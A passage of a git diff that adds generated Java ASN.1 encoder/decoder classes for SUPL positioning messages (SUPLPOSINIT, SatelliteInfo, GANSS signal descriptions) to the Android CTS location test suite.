+ return getLocationId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationId();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationId : "
+ + getLocationId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosition() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosition();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Position.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "position : "
+ + getPosition().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getSUPLPOS() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSUPLPOS();
+ }
+
+ @Override public void setToNewInstance() {
+ setSUPLPOSToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SUPLPOS.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sUPLPOS : "
+ + getSUPLPOS().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getVer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVer();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver : "
+ + getVer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_SUPL_POS_INIT_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_SUPL_POS_INIT_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_SUPL_POS_INIT_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_SUPL_POS_INIT_extension : "
+ + getExtensionVer2_SUPL_POS_INIT_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SUPLPOSINIT = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfo.java
new file mode 100755
index 0000000..aa3178e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfo.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_pos_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SatelliteInfo
+ extends Asn1SequenceOf<SatelliteInfoElement> {
+ //
+
+ private static final Asn1Tag TAG_SatelliteInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SatelliteInfo() {
+ super();
+ setMinSize(1);
+setMaxSize(31);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SatelliteInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SatelliteInfo != null) {
+ return ImmutableList.of(TAG_SatelliteInfo);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SatelliteInfo from encoded stream.
+ */
+ public static SatelliteInfo fromPerUnaligned(byte[] encodedBytes) {
+ SatelliteInfo result = new SatelliteInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SatelliteInfo from encoded stream.
+ */
+ public static SatelliteInfo fromPerAligned(byte[] encodedBytes) {
+ SatelliteInfo result = new SatelliteInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SatelliteInfoElement createAndAddValue() {
+ SatelliteInfoElement value = new SatelliteInfoElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SatelliteInfo = [\n");
+ final String internalIndent = indent + " ";
+ for (SatelliteInfoElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfoElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfoElement.java
new file mode 100755
index 0000000..245060b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfoElement.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_pos_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SatelliteInfoElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SatelliteInfoElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SatelliteInfoElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SatelliteInfoElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SatelliteInfoElement != null) {
+ return ImmutableList.of(TAG_SatelliteInfoElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SatelliteInfoElement from encoded stream.
+ */
+ public static SatelliteInfoElement fromPerUnaligned(byte[] encodedBytes) {
+ SatelliteInfoElement result = new SatelliteInfoElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SatelliteInfoElement from encoded stream.
+ */
+ public static SatelliteInfoElement fromPerAligned(byte[] encodedBytes) {
+ SatelliteInfoElement result = new SatelliteInfoElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatelliteInfoElement.satIdType satId_;
+ public SatelliteInfoElement.satIdType getSatId() {
+ return satId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteInfoElement.satIdType
+ */
+ public void setSatId(Asn1Object value) {
+ this.satId_ = (SatelliteInfoElement.satIdType) value;
+ }
+ public SatelliteInfoElement.satIdType setSatIdToNewInstance() {
+ satId_ = new SatelliteInfoElement.satIdType();
+ return satId_;
+ }
+
+ private SatelliteInfoElement.iODEType iODE_;
+ public SatelliteInfoElement.iODEType getIODE() {
+ return iODE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteInfoElement.iODEType
+ */
+ public void setIODE(Asn1Object value) {
+ this.iODE_ = (SatelliteInfoElement.iODEType) value;
+ }
+ public SatelliteInfoElement.iODEType setIODEToNewInstance() {
+ iODE_ = new SatelliteInfoElement.iODEType();
+ return iODE_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatId();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteInfoElement.satIdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satId : "
+ + getSatId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getIODE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIODE();
+ }
+
+ @Override public void setToNewInstance() {
+ setIODEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteInfoElement.iODEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "iODE : "
+ + getIODE().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class satIdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_satIdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public satIdType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_satIdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_satIdType != null) {
+ return ImmutableList.of(TAG_satIdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new satIdType from encoded stream.
+ */
+ public static satIdType fromPerUnaligned(byte[] encodedBytes) {
+ satIdType result = new satIdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new satIdType from encoded stream.
+ */
+ public static satIdType fromPerAligned(byte[] encodedBytes) {
+ satIdType result = new satIdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "satIdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class iODEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_iODEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public iODEType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_iODEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_iODEType != null) {
+ return ImmutableList.of(TAG_iODEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new iODEType from encoded stream.
+ */
+ public static iODEType fromPerUnaligned(byte[] encodedBytes) {
+ iODEType result = new iODEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new iODEType from encoded stream.
+ */
+ public static iODEType fromPerAligned(byte[] encodedBytes) {
+ iODEType result = new iODEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "iODEType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SatelliteInfoElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSSignalsDescription.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSSignalsDescription.java
new file mode 100755
index 0000000..58408ab
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSSignalsDescription.java
@@ -0,0 +1,367 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.GANSSSignals;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSSignalsDescription extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSSignalsDescription
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSSignalsDescription() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSSignalsDescription;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSSignalsDescription != null) {
+ return ImmutableList.of(TAG_GANSSSignalsDescription);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSSignalsDescription from encoded stream.
+ */
+ public static GANSSSignalsDescription fromPerUnaligned(byte[] encodedBytes) {
+ GANSSSignalsDescription result = new GANSSSignalsDescription();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSSignalsDescription from encoded stream.
+ */
+ public static GANSSSignalsDescription fromPerAligned(byte[] encodedBytes) {
+ GANSSSignalsDescription result = new GANSSSignalsDescription();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSSignalsDescription.ganssIdType ganssId_;
+ public GANSSSignalsDescription.ganssIdType getGanssId() {
+ return ganssId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignalsDescription.ganssIdType
+ */
+ public void setGanssId(Asn1Object value) {
+ this.ganssId_ = (GANSSSignalsDescription.ganssIdType) value;
+ }
+ public GANSSSignalsDescription.ganssIdType setGanssIdToNewInstance() {
+ ganssId_ = new GANSSSignalsDescription.ganssIdType();
+ return ganssId_;
+ }
+
+ private GANSSSignals gANSSSignals_;
+ public GANSSSignals getGANSSSignals() {
+ return gANSSSignals_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignals
+ */
+ public void setGANSSSignals(Asn1Object value) {
+ this.gANSSSignals_ = (GANSSSignals) value;
+ }
+ public GANSSSignals setGANSSSignalsToNewInstance() {
+ gANSSSignals_ = new GANSSSignals();
+ return gANSSSignals_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssId();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignalsDescription.ganssIdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssId : "
+ + getGanssId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSSignals() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSSignals();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSSignalsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignals.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSSignals : "
+ + getGANSSSignals().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssIdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIdType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIdType != null) {
+ return ImmutableList.of(TAG_ganssIdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIdType from encoded stream.
+ */
+ public static ganssIdType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIdType result = new ganssIdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIdType from encoded stream.
+ */
+ public static ganssIdType fromPerAligned(byte[] encodedBytes) {
+ ganssIdType result = new ganssIdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSSignalsDescription = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSsignalsInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSsignalsInfo.java
new file mode 100755
index 0000000..3ee82eb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSsignalsInfo.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_report;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
